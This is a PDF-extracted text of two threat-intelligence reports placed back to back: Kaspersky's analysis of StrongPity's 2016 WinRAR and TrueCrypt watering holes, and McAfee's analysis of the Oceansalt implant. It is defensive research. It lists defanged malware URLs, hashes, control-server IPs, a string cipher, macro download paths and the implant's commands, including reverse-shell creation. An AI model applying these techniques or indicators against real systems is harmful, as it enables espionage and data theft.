Summer 2016 Watering Hole Resources and Trickery  WinRAR and TrueCrypt This actor set up a particularly clever site to deliver trojanized WinRAR installers in the summer of 2016, appears to have compromised another, and this activity reminds us somewhat of the early 2014 Crouching Yeti activity.
Much of the Crouching Yeti intrusions were enabled by trojanizing legitimate ICS-related IT software installers like SCADA environment vpn client installers and industrial camera software driver installers.
Then, they would compromise the legitimate company software distribution sites and replace the legitimate installers with the Crouching Yeti trojanized versions.
The tactics effectively compromised ICS and SCADA related facilities and networks around the world.
Simply put, even when visiting a legitimate company distribution site, IT staff was downloading and installing ICS- focused malware.
StrongPitys efforts did much the same.
1/10 https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/ https://securelist.com/author/kurtb/ https://securelist.com/author/kurtb/ https://securelist.com/blog/research/65240/energetic-bear-more-like-a-crouching-yeti/ https://cdn.securelist.com/files/2016/10/winrar.be_SP_introduced-2.jpg https://cdn.securelist.com/files/2016/10/ralrab.com_-1.png https://cdn.securelist.com/files/2016/10/winrar.it_.png https://cdn.securelist.com/files/2016/10/tamindir.truecrypt_redirect.png https://cdn.securelist.com/files/2016/10/true-crypt-1.png https://cdn.securelist.com/files/2016/10/winrar.it_stats.png https://cdn.securelist.com/files/2016/10/winrar.be_stats.png https://cdn.securelist.com/files/2016/10/true-crypt_stats.png https://cdn.securelist.com/files/2016/10/all2016-1.png In the case of StrongPity, the attackers were not focused on ICS or SCADA.
They set up a domain name (ralrab[.
]com) mimicking the legitimate WinRAR distribution site (rarlab[.
]com), and then placed links on a legitimate certified distributor site in Europe to redirect to their poisoned installers hosted on ralrab[.
]com.
In Belgium, the attackers placed a recommended link to their ralrab[.
]com site in the middle of the localized WinRAR distribution page on winrar[.
]be.
The big blue recommended button (here in French) linked to the malicious installer, while all the other links on the page directed to legitimate software: Winrar[.
]be site with recommended link leading to malicious ralrab[.
]com The winrar[.
]be site evaluated what recommended package a visitor may need based on browser localization and processor capability, and accordingly offered up appropriate trojanized versions.
Installer resources named for french and dutch versions, along with 32-bit versus 64-bit compiled executables were provided over the summer: hxxp://www.ralrab[.
]com/rar/winrar-x64-531.exe hxxp://www.ralrab[.
]com/rar/winrar-x64-531fr.exe hxxp://www.ralrab[.
]com/rar/winrar-x64-531nl.exe hxxp://www.ralrab[.
]com/rar/wrar531.exe hxxp://www.ralrab[.
]com/rar/wrar531fr.exe hxxp://www.ralrab[.
]com/rar/wrar531nl.exe hxxp://ralrab[.
]com/rar/winrar-x64-531.exe hxxp://ralrab[.
]com/rar/winrar-x64-531nl.exe hxxp://ralrab[.
]com/rar/wrar531fr.exe hxxp://ralrab[.
]com/rar/wrar531nl.exe hxxp://ralrab[.
]com/rar/wrar53b5.exe 2/10 Directory listing, poisoned StrongPity installers, at rarlrab[.
]com The first available visitor redirects from winrar[.
]be to ralrab[.
]com first appeared on May 28th, 2016, from the dutch speaking version of the winrar.be site.
And around the same time, another certified distributor winrar[.
]it served trojanized installers as well.
The major difference here is that we didnt record redirections to ralrab[.
]com, but it appears the site directly served StrongPity trojanized installers: hxxps://www.winrar[.
]it/prelievo/WinRAR-x64-531it.exe hxxps://www.winrar[.
]it/prelievo/WRar531it.exe The site started serving these executables a couple of days earlier on 5/24, where a large majority of Italian visitors where affected.
3/10 Download page, winrar[.
]it Quite simply, the download links on this site directed visitors to trojanized WinRAR installers hosted from the winrar.it site itself.
Its interesting to note that both of the sites are distributors, where the sites are owned and managed not by rarlabs, but by local owners in individual countries.
StrongPity also directed specific visitors from popular, localized software sharing sites directly to their trojanized installers.
This activity continued into late September 2016.
In particular, the group redirected visitors from software aggregation and sharing site tamindir[.
]com to their attacker-controlled site at true-crypt[.
]com.
The StrongPity controlled Truecrypt site is a complete rip of the legitimate site, now hosted by Sourceforge.
Here is the Tamindir truecrypt page, looks harmless enough.
4/10 TrueCrypt page, tamindir software sharing site Unlike the newer poisoned WinRAR installers, StrongPity hosted several  Much like the poisoned WinRAR installers, multiple filenames have been used to keep up with visitor interests.
Visitors may have been directed to the site by other means and downloaded directly from the ripped and persuasive site.
5/10 true-crypt[.
]com malicious StrongPity distribution site At the very bottom of the page, there are a couple of links to the poisoned installers: hxxp://www.true-crypt[.
]com/download/TrueCrypt-Setup-7.1a.exe hxxp://true-crypt[.
]com/files/TrueCrypt-7.2.exe Referrers include these localized software aggregates and sharers: gezginler[.
]net/indir/truecrypt.html tamindir[.
]com/truecrypt/indir Its interesting that Ksn recorded appearance of the the file on two unique systems in December 2015, a third in January 2016, all in Turkey, and then nothing until May 2016.
Then, deployment of the installers continued mostly within Turkey in July and September 2016.
Summer 2016 Watering Hole Victim Geolocations  WinRAR and TrueCrypt 6/10 Over the course of a little over a week, malware delivered from winrar.it appeared on over 600 systems throughout Europe and Northern Africa/Middle East.
Likely, many more infections actually occurred.
Accordingly, the country with the overwhelming number of detections was in Italy followed by Belgium and Algeria.
The top countries with StrongPity malware from the winrar.it site from May 25th through the first few days of June are Italy, Belgium, Algeria, Cote DIvoire, Morroco, France, and Tunisia.
winrar[.
]it StrongPity component geolocation distribution In a similar time-span, the over sixty visitors redirected from winrar.be to ralrab.com for malicious file download were overwhelmingly located in one country.
The top countries directed to StrongPity malware from the winrar.be site from May 25th through the first few days of June are Belgium, Algeria, Morroco, Netherlands, Canada, Cote DIvoire, and Tunisia.
7/10 winrar[.
]be StrongPity component geolocation distribution StrongPity previously set up TrueCrypt themed watering holes in late 2015.
But their offensive activity surged in late summer 2016.
The group set up a site directly pulled from the contents of the legitimate TrueCrypt website.
From mid July to early September, dozens of visitors were redirected from tamindir[.
]com to true-crypt[.
]com with unsurprisingly almost all of the focus on systems in Turkey, with victims in the Netherlands as well.
tamindir[.
]com to true- crypt[.
]com poisoned TrueCrypt installer redirects StrongPity Malware The StrongPity droppers were often signed with unusual digital certificates, dropping multiple components that not only provide complete control of the victim system, but effectively steal disk contents, and can download components for further collection of various communications and contacts.
Because we are talking about StrongPity watering holes, lets take a quick look at what is being delivered by the group from these sites.
When we count all systems from 2016 infected with any one of the StrongPity components or a dropper, we see a more expansive picture.
This data includes over 1,000 systems infected with a StrongPity component.
The top five countries include Italy, Turkey, Belgium, Algeria, and France.
8/10 In the case of the winrar[.]be/ralrab[.
]com watering hole malware, each one of the six droppers that we observed created a similar set of dropped components on disk.
And, in these cases, the attackers did not re-use their fake digital certificates.
In addition to installing the legitimate version of WinRAR, the dropper installed the following StrongPity components: temp\procexp.exe temp\sega\ nvvscv.exe prst.cab prst.dll wndplyr.exe wrlck.cab wrlck.dll Of these files, two are configurable and encrypted with the same keyless cipher, wrlck.cab and prst.cab.
While one maintains several callback c2 for the backdoor to fetch more instructions and upload installed software and file paths, the other maintains something a bit more unusual.
prst.cab maintains an encrypted list of programs that maintain encrypted connections.
This simple encoding takes the most significant nibble for each character, swaps the nibbles of that byte, and xors the result against the original value.
Its code looks something like this: x  s[i] j  ((x  0xF0)4) y  x  j Using that cipher in the ralrab[.
]com malware, the package is configured to seek out several crypto-enabled 9/10 software applications, highlighting the groups interest in users of more encryption-supported software suites.
putty.exe (a windows SSH client) filezilla.exe (supports ftps uploads) winscp.exe (a windows secure copy application, providing encrypted and secure file transfer) mstsc.exe (Windows Remote Desktop client, providing an encrypted connection to remote systems) mRemoteNG.exe (a remote connections manager supporting SSH, RDP, and other encrypted protocols) Also included in StrongPity components are keyloggers and additional data stealers.
Conclusion Widely available, strong cryptography software tools help provide secure and private communications that are now easily obtained and usable.
In the summer of 2016, multiple encryption-enabled software applications were targeted with watering hole, social engineering tactics, and spyware by the StrongPity APT.
While watering holes and poisoned installers are tactics that have been effectively used by other APT, we have never seen the same focus on cryptographic-enabled software.
When visiting sites and downloading encryption-enabled software, it has become necessary to verify the validity of the distribution site and the integrity of the downloaded file itself.
Download sites not using PGP or strong digital code signing certificates need to re-examine the necessity of doing so for their own customers.
We have seen other APT such as Crouching Yeti and Darkhotel distribute poisoned installers and poisoned executable code, then redistribute them through similar tactics and over p2p networks.
Hopefully, simpler verification systems than the current batch of PGP and SSL applications will arise to be adopted in larger numbers.
Until then, strong anti-malware and dynamic whitelisting solutions will be more necessary than ever.
More information about the StrongPity APT group is available to customers of Kaspersky Intelligent Services.
Contact: intelreportskaspersky.com 10/10 http://www.kaspersky.com/business-security/entrp/apt mailto:intelreportskaspersky.com On the StrongPity Waterhole Attacks Targeting Italian and Belgian Encryption Users Encryption Tools Summer 2016 Watering Hole Resources and Trickery  WinRAR and TrueCrypt Summer 2016 Watering Hole Victim Geolocations  WinRAR and TrueCrypt StrongPityMalware Conclusion
REPORT Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group McAfee Advanced Threat Research October 18, 2018 REPORT 2 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group Comment Crew or Another Actor?
The actions of Comment Crew, also known as APT1, were exposed in 2013 in a ground-breaking report on Chinese cyber espionage against the United States.
This report detailed the inner workings of Comment Crew and its cyber offensive capabilities.
The consequences of releasing this public report forced the group to either make changes to their techniques or cease their activity altogether.
Until this analysis, we had observed no new activity related to Comment Crew since they were exposed, but now we find portions of their implant code appearing in new operations targeting South Korea.
As we investigated this code overlap, we found no evidence that the source code from Comment Crew was ever made public, nor did we find it being sold in underground markets we examined.
Has Comment Crew returned?
We think it is unlikely.
Due to the lack of indications that this is a new Comment Crew campaign, it Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group Introduction McAfee Advanced Threat Research and Anti-Malware Operations teams have discovered another unknown data reconnaissance implant targeting Korean-speaking users.
We have named this threat Operation Oceansalt based on its similarity to the earlier malware Seasalt, which is related to earlier Chinese hacking operations.
Oceansalt reuses a portion of code from the Seasalt implant (circa 2010) that is linked to the Chinese hacking group Comment Crew.
Oceansalt appears to have been part of an operation targeting South Korea, United States, and Canada in a well-focused attack.
A variation of this malware has been distributed from two compromised sites in South Korea.
(
They are currently offline.)
Oceansalt appears to be the first stage of an advanced persistent threat.
The malware can send system data to a control server and execute commands on infected machines, but we do not yet know its ultimate purpose.
The Advanced Threat Research team has not previously described this implant in any of our analyses.
Authors This report was researched and written by: Ryan Sherstobitoff Asheer Malhotra Connect With Us https://securingtomorrow.mcafee.com/ https://twitter.com/mcafee_business https://www.linkedin.com/company/mcafee/ http://www.facebook.com/mcafee http://www.youtube.com/mcafee http://www.slideshare.net/mcafee 3 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT raises the question of who is responsible.
Based on our research, we offer a few potential scenarios that could explain the existence of Comment Crews code in the current actors malware targeting South Koreans.
This is a code-sharing arrangement between two actors An actor has privately gained access to the source code from someone involved in the original Comment Crew operations This is a false flag operation using Comment Crews code to make it appear that China and North Korea have collaborated on this cyberattack Does the Actor Speak Korean?
The contents of the malicious documents were written in Korean and contained subjects specifically relating to the finances of projects in South Korea.
These documents appear to be unique, not found on open-source channels.
We were not able to determine the source of these documents, suggesting they were created by the actor.
The metadata in the malicious Microsoft Office documents used in the attacks contains a Korean- language code page.
This data indicates the document contained the Korean-language pack, most likely to ensure the victims could read it.
We also see a consistent author, which is typical of the techniques of previous campaigns we have analyzed that involved malicious documents targeting South Koreans.
Figure 1.
Metadata from a code page in a malicious .xls document.
The Advanced Threat Research team concludes that we have found a new implant family created by an actor targeting Korean-speaking users and using components from Comment Crews source code.
Furthermore it is likely that the actor has a good working knowledge of the Korean language.
Targets During our research we discovered the initial attack vector was spear phishing, with two malicious Korean- language Microsoft Excel documents acting as downloaders of this implant.
According to our document analysis, the targets likely had knowledge of South Korean public infrastructure projects and related financialsa clear indication that the actor focused initially on infrastructure.
A second round of malicious documents, this time in Microsoft Word, carried the same metadata and author as the Excel documents.
The content was related to the financials of the Inter-Korean Cooperation Fund.
The 4 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT malicious activity first appeared on May 31, 2018, in South Korea.
Further telemetry indicates organizations outside of Korea have fallen victim to this attack as of August 14, the attack had reached multiple industries in Canada and the United States.
The date of the attacks first appearance in North America is unknown.
We did not find Office documents affecting targets in Canada and the United States, but our telemetry indicates the threat has also affected systems in North America.
It is possible the attack on North American companies is part of a separate campaign from the one targeting Koreans, especially because we discovered only a handful of malicious documents and they distributed only one variant of the implant out of several we found.
Based on our telemetry, the team learned these organizations were in the investment, banking, and agriculture industries.
Objectives and Impact Our research suggests the targets were those who would read documents related to South Koreas public construction expenses, Inter-Korean Cooperation fund, or other global financial data.
One possible motive for the campaign is financial theft.
These attacks might be a precursor to a much larger attack that could be devastating given the control the attackers have over their infected victims.
The impact of these operations could be huge: Oceansalt gives the attackers full control of any system they manage to compromise and the network it is connected to.
A banks network would be an especially lucrative target.
Further, the code overlaps with that from a previously reported advanced state-sponsored group.
The overlap suggests a close collaboration between members of a state-sponsored group and the current actors in conducting cyber operations.
Campaign Analysis The campaign to target and compromise victims across the world began in Korea and expanded globally in stages.
The distribution URLs for the implants were fairly consistent for the malicious documents it appears the actor hacked a number of South Korean websites to host the implant code.
Wave One: South Korean higher education The first wave of attacks began with a malicious document created May 18, with a last saved date of May 28.
The author of this Korean-language document was Lion, whom we will continue to see throughout later documents.
Figure 2.
Metadata from a first-wave malicious document.
5 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT In the first wave the malicious Excel file contains a list of Korean names, physical addresses, and email addresses.
Many of the names belong to those involved in higher education in South Korea or who attend various institutes.
However, the list is random and looks like a copy of a database of personal information from a South Korean government authority.
This document contains macro code to download the implant from www.
[redacted].kr/admin/data/member/1/ log.php and execute it as V3UI.exe, the name of a security product in South Korea.
Wave Two: South Korean public infrastructure The Advanced Threat Research team discovered that the implant was hosted at a legitimate site in South Korea belonging to a music teachers organization that has no relationship to the malicious document.
The actor hosted a PHP page that triggered the download of the implant from a malicious VBA script embedded in two Excel documents, which contained Visual Basic macros to communicate, download, and install an implant on the victims system once the document was opened and viewed.
The documents were submitted to us by a South Korean organization during the first wave of attacks.
hxxp://[redacted].kr/admin/data/member/1/log.php Figure 3.
The download URL for the second wave of attacks, against public infrastructure.
This Excel document was created May 31 by the author Lion, a day before the implant was compiled and hosted on the distribution site.
The documents appear to be related to South Korean public infrastructure projects and their expenses.
Based on our analysis of the documents, it is clear that this attack is targeted toward South Korean individuals in this field.
Figure 4.
Metadata from a second-wave malicious document.
6 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 5.
Malicious document 1: investment trends in public infrastructure projects.
7 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 6.
Malicious document 2: expenses in public infrastructure projects.
Figure 7.
Malicious document 3: a public projects expense report.
The last document in this wave was created by Lion on June 4 with the filename 0.__SW_2018 _list_(20180411)_.xls.
This document was observed downloading the implant from the distribution server.
It references Onnara, a government agency responsible for land and development in South Korea.
8 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Wave Three: Inter-Korean Cooperation The third wave included a Word document with the same type of macro code as the Excel files.
The document contained fake information related to the financials of the Inter-Korean Cooperation Fund.
The document was created at the same time as the attacks on South Korean public infrastructure officials.
Lion authored both Excel and Word documents.
This Word document used a different South Korean compromised website to distribute the implant.
In this wave, an additional Excel document appeared with telephone numbers and contact information connected to the content of the Word document.
hxxp://[redacted].kr/gbbs/bbs/admin/log.php Figure 8.
The distribution URL for the implant for Wave Three.
Figure 9.
Fake statistics statement monthly report from the Inter-Korean Corporation Fund.
9 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 10.
Fake statistics statement monthly report from the Inter-Korean Corporation Fund.
10 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 11.
Fake product and partner information.
11 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Wave Four: Targets outside of South Korea We identified a small number of targets outside of South Korea, as the attacks expanding their scope.
We have yet to identify the malicious documents involved in delivering this implant to the victims.
Because Waves One and Two contained different distribution servers for the implant, we expect this wave had its own as well.
According to McAfee telemetry data between August 10 and 14, these North American targets fall within several industries: Industry Country Financial United States Health Care United States Health Care United States Telecommunications Canada Financial United States Agriculture and Industrial United States Financial United States Telecommunications Canada Financial Canada Financial Technology United States Government United States Figure 12.
Victims in Wave Four of the campaign.
Wave Five: South Korea and United States The Oceansalt implant was not limited to just one sample.
We discovered additional variants using different control servers.
As we continued to investigate, we found more samples, though obfuscated to avoid detection.
The samples were all identical to the initial Oceansalt implant.
The fifth-wave samples were compiled between June 13 and July 17 and were submitted to us by organizations in South Korea and the United States.
Hash Compile Date Control Server 38216571e9a9364b509e52ec19fae61b 6/13/2018 172.81.132.62 531dee019792a089a4589c2cce3dac95 6/14/2018 211.104.160.196 0355C116C02B02C05D6E90A0B3DC107C 7/16/2018 27.102.112.179 74A50A5705E2AF736095B6B186D38DDF 7/16/2018 27.102.112.179 45C362F17C5DC8496E97D475562BEC4D 7/17/2018 27.102.112.179 C1773E9CF8265693F37DF1A39E0CBBE2 7/17/2018 27.102.112.179 D14DD769C7F53ACEC482347F539EFDF4 7/17/2018 27.102.112.179 B2F6D9A62C63F61A6B33DC6520BFCCCD 7/17/2018 27.102.112.179 76C8DA4147B08E902809D1E80D96FBB4 7/17/2018 27.102.112.179 12 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Technical Analysis Download and execution capabilities Once the .xls/.doc files are opened in Office, embedded malicious macros contact a download server and write the Oceansalt implant to disk These malicious macros execute the Oceansalt implant on the infected endpoint The indicators of compromise from the malicious .xls downloaders: IOC Description IOC Value Download servers contacted [redacted].kr [redacted].kr Oceansalt location on the download server /admin/data/member/1/log[.
]php /gbbs/bbs/admin/log[.
]php Oceansalt location on the infected endpoint temp\SynTPHelper[.
]exe temp\LMworker[.
]exe Figure 13.
A portion of the malicious macro code used to download the implant.
13 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Control Server The campaign employed multiple control servers.
We observed the following IP addresses in implants dating from June to July.
172.81.132.62 211.104.160.196 27.102.112.179 158.69.131.78 Our telemetry shows this campaign is operational in several countries.
Address 211.104.160.196 indicates infections in Costa Rica, the United States, and the Philippines.
Address 158.69.131.78 reveals additional infections in the United States and Canada.
These machines resided in numerous countries from August 1821.
Because this operation involves multifunction implants, these machines are likely to be part of a larger covert listener network.
The Advanced Threat Research team has observed this kind of targeting in similar operations that compromise victims as control server relays.
Implant Origins Our initial investigation into earlier similar samples led us to a variantbf4f5b4ff7ed9c7275496c07f9836028, compiled in 2010.
Oceansalt uses portions of code from this sample their overall similarity is 21.
The reused code is unique, is not considered a common library or common code, and serves reconnaissance and control.
The misclassified sample used a Comment Crew domain.
Further investigation revealed the misclassified sample is 99 like Seasalt (5e0df5b28a349d46ac8cc7d9e5e61a96), a Comment Crew implant reported to have been used in their operations around 2010.
Thus the Oceansalt actor is reusing portions of code from Seasalt to form a new implant.
Based on the overall techniques, Oceansalt is unlikely to signal a rebirth of Comment Crew, raising the question of how the actor obtained the Seasalt code.
Was it provided to this or another actor, or was it leaked and discovered by this actor?
We have been unable to find any evidence in underground or public forums that suggest the source code of Seasalt has been leaked or made available.
We discovered another batch of samples compiled on July 1617 that are obfuscated and essentially the same implant, with minor changes such as the control servers.
Some of the samples are missing reverse-shell functionality, indicating that this actor has access to Seasalt source code and can compile implants from the original source.
This could demonstrate is a level of collaboration between two nation-states on their cyber offensive programs.
Code Similarities with Seasalt Oceansalt contains the following strings that are part of Seasalt: Upfileer Upfileok https://github.com/oasis-open/cti-stix-elevator/blob/master/idioms-json/Appendix_G_IOCs_Full.json 14 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 14.
Seasalt strings appearing in Oceansalt.
Figure 15.
Seasalt strings appearing in Oceansalt.
Both implants have a high degree of similarity in code sharing and functions.
A few of their commonalities follow.
Command handler and index table similarities The command handler for both implants uses similar semantics and command codes to execute the same functionalities.
Even the mechanism for calculating the command code is similar.
Seasalt code is represented on the left and Oceansalt appears on the right: Figure 16.
Command handler similarity between Seasalt, at left, and Oceansalt.
Figure 17.
Command index table similarity between Seasalt, at left, and Oceansalt.
Command and capability similarities Both implants execute their capabilities in the same way, which indicates they were both developed from the same code base.
The response codes used by both implants to indicate the success or failure of the commands executed on the endpoint are also an exact match.
Some of these similarities: Drive reconnaissance capability: Similar code signatures.
Both implants use the same codes to indicate the drive type to the control server.
15 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 18.
Similarity in the drive recon functionality.
Seasalt is at left.
16 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT File reconnaissance capability: Similar API and code usage to get file information.
The response codes sent to the control server to indicate whether a file was found is an exact match.
Figure 19.
Similarity in the command execution capability.
Seasalt is at left.
17 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Reverse-shell creation capability: Both implants use similar code signatures to create a reverse shell on the infected endpoint.
Both reverse shells are based on cmd.exe.
Figure 20.
Reverse-shell creation capability similarities.
Seasalt is at left.
18 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Code Differences from Seasalt There are a few differences between the two implants in implementation these demonstrate that Oceansalt is not simply a recompilation of Seasalt source code.
However, these differences also provide evidence that Oceansalt is an evolution of Seasalt.
Encoding: The Oceansalt implant uses an encoding and decoding mechanism before any data is sent to the control server.
The Seasalt implant does not use this encoding and sends unencrypted data to the control server.
Control server address: Oceansalt uses a hardcoded control server address to establish communication.
Seasalt parses the control address from its binary by decoding data.
Persistence: Oceansalt has no persistence mechanisms to ensure continued infection over endpoint reboots.
Seasalt, on the other hand, copies itself to C:\DOCUMEN1\userid\java.exe and creates a registry entry to ensure infection after reboot: HKLM\Software\Microsoft\Windows\currentVersion\ Run  sysinfo Based on the executable header information, Seasalt was compiled on March 30, 2010.
Oceansalt was compiled on June 1, 2018.
Highlighting the compilation timestamps is important because, as our preceding analysis demonstrates, the samples have a high degree of code sharing: Multiple code matches and similarities Multiple functional similarities Identical command capabilities Same command and response codes issued by and sent to the control server The code used to create the reverse shell in Oceansalt is an exact match with that of Comment Crews Seasalt implant.
The mechanism for creating the reverse shell (pipe-based inter-process communication for standard I/O handles) is also seen in Comment Crew implants such as WebC2-CSON and WebC2-GREENCAT.
These matches lead us to believe that Oceansalt is based on Seasalt, because it reuses much of the code base developed 10 years ago.
Seasalts public disclosure in the Comment Crew report does not seem to have discouraged Oceansalts developer.
Obfuscated Oceansalt Comparison with Seasalt We offer a comparative analysis of the following partially obfuscated implants against the initial Oceansalt sample and the Seasalt implant from Comment Crew.
SHA-1 Compile Date Role fc121db04067cffbed04d7403c1d222d376fa7ba 7/16/2018 Partially obfuscated Oceansalt 281a13ecb674de42f2e8fdaea5e6f46a5436c685 7/17/2018 Partially obfuscated Oceansalt 1f70715e86a2fcc1437926ecfaeadc53ddce41c9 7/17/2018 Partially obfuscated Oceansalt ec9a9d431fd69e23a5b770bf03fe0fb5a21c0c36 7/16/2018 Partially obfuscated Oceansalt 12a9faa96ba1be8a73e73be72ef1072096d964fb 7/17/2018 Partially obfuscated Oceansalt be4fbb5a4b32db20a914cad5701f5c7ba51571b7 7/17/2018 Partially obfuscated Oceansalt 0ae167204c841bdfd3600dddf2c9c185b17ac6d4 7/17/2018 Partially obfuscated Oceansalt 19 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT All the partially obfuscated Oceansalt implants have the following characteristics: All implants were compiled during a three-day period: July 1618 All implants contain debug statements (print logs) written to the log file: C:\Users\Public\Videos\temp.log These debug statements begin with the timestamp and consist of the following keywords at the beginning of the debug message: [WinMain] [FraudProc] All implants connected to the same control server IP address: 27.102.112.179 Although none of the partially obfuscated implants contain any additional capabilities (as compared with the initial Oceansalt or Seasalt), some of the partially obfuscated implants are missing the reverse-shell capabilities: Partially Obfuscated Oceansalt Hash Reverse-Shell Capability?
C1773E9CF8265693F37DF1A39E0CBBE2 No 0355C116C02B02C05D6E90A0B3DC107C Yes 74A50A5705E2AF736095B6B186D38DDF Yes 45C362F17C5DC8496E97D475562BEC4D No D14DD769C7F53ACEC482347F539EFDF4 No B2F6D9A62C63F61A6B33DC6520BFCCCD Yes 76C8DA4147B08E902809D1E80D96FBB4 Yes Evidence of Source-Code Sharing We present evidence of source-code sharing between the Oceansalt authors and Comment Crew, based on our comparative analysis of the three sets of samples: Oceansalt, partially obfuscated Oceansalt, and Seasalt.
There is no possibility the attackers could have re- instrumented Seasalt by simply modifying the control server IP addresses: The mechanism for obtaining the address in Seasalt is different from Oceansalts.
Seasalt looks for encoded data at the end of the binary, decodes this data into tokens separated by the marker , and obtains the control server information.
Oceansalt implants have the control server IP addresses and port numbers hardcoded as plain- text strings in the binaries Some of the partially obfuscated Oceansalt implants are missing the reverse-shell capability.
All other capabilities (code signatures, response codes, etc.)
and command codes are similar.
(
Command codes are either the same or off by 1.)
Modifying capabilities in this fashion is possible only with access to the source code of Seasalt.
20 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT The presence of debug strings tracing the code flow of the Oceansalt implants indicates they were compiled after adding debug information to the source code of Seasalt: [WinMain]after recv cmdd 0Dh 0Ah [WinMain]before recv 0Dh 0Ah [FraudProc]Engine is still active 0Dh 0Ah [FraudPRoc]Process Restart 0Dh 0Ah The presence of these debug strings also indicates that the authors who modified the source code may have used these samples to perform their initial testing before obfuscating and releasing the implants to their victims, without scrubbing the debug strings The Oceansalt implant 531dee019792a089a4589c2cce3dac95 (compiled June 1) contains a few key features that indicate compilation from the source code of Seasalt: Does not contain the reverse-shell capability Does not contain the drive recon capability Loads API SHGetFileInfoA() dynamically without statically importing it.
This also suggests that Seasalts source code was modified before compilation.
Figure 21.
Dynamic API loading in an Oceansalt implant.
21 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Oceansalt Capabilities Oceansalt is 76KB, a minimal on-disk footprint that is harder to detect than larger malware.
The implant has a variety of capabilities for capturing data from the victims machine using a structured command system.
From our research we have determined that this implant is a first-stage component.
Further stages are downloaded through its commands.
Oceansalt also supports commands enabling the attacker to take various actions on the victims system.
Initial reconnaissance Oceansalt starts by trying to connect to its control server at 158.69.131.78:8080.
Once connected, the implant sends the following information about the endpoint: IP address Computer name File path of the implant All data sent to the control server is encoded with a NOT operation on each byte.
Figure 22.
Initial data gathered from the endpoint by Oceansalt.
Figure 23.
Control server connection functionality for Oceansalt.
22 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Command handler functions Oceansalt can execute 12 commands.
Each command received from the control server is represented by a command code ranging from 0x0 to 0xB (0 to 11).
Figure 24.
Command index table showing Oceansalts capabilities.
23 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 25.
Oceansalts command execution functionality.
24 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x0: Drive recon The control server sends this command code to Oceansalt to extract drive information from the endpoint.
The format of the drive information: Drive _ letter:Drive _ typeDrive _ letter:Drive _ type... Legend Description Drive_letter A,B,C,D,E, etc.,
representing all logical drives on the system Drive_type 0  DRIVE_REMOVABLE 1  DRIVE_FIXED 2  DRIVE_CDROM 3  DRIVE_REMOTE Figure 26.
Oceansalt gathering drive information.
25 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x1: File recon Sends the following information about a specific file (or file pattern) specified by the control server: Filename Type of file on disk, for example, file or folder OK if file was found on the location File creation time in format YYYY-mm-DD HH:MM:SS 0x2: Command execute Executes a command line using WinExec().
The command line is provided by the control server along with the command number.
For example: DWORD representing command numbercommand line to be executed 02 00 00 00 C:\Windows\system32\calc.exe The command line is executed with a hidden window (using the SW_HIDE option for WinExec()).
Figure 27.
Oceansalts command execution capability.
0x3: File delete Deletes a file specified by the control server from the disk Once an operation is completed, the implant sends a 0 (in ASCII) to the control server to indicate the successful execution of the command If the operation fails, Oceansalt sends a 1 (in ASCII) to indicate failure 0x4: File write Creates a file specified by a file path provided by the control server, which also provides the content to be written to the file path If the file write is successful, Oceansalt sends the keyword upfileok indicating success If the file write fails, the implant sends the keyword upfileer indicating failure 26 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT Figure 28.
Oceansalts file-writing capability.
0x6: Process recon Sends the name and ID for every process running on the system to the control server Process data is sent via individual packets, that is, one packet per process Figure 29.
Oceansalts process listing via its recon capability.
27 Operation Oceansalt Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group REPORT 0x7: Process terminate Terminates a process whose ID has been specified by the control server 0x8: Reverse shell create Opens a reverse shell from the infected endpoint to the control server using Windows pipes This reverse shell is based on cmd.exe.
It can carry out further recon and make changes to the endpoint.
Figure 30.
Oceansalts reverse-shell creation capability.
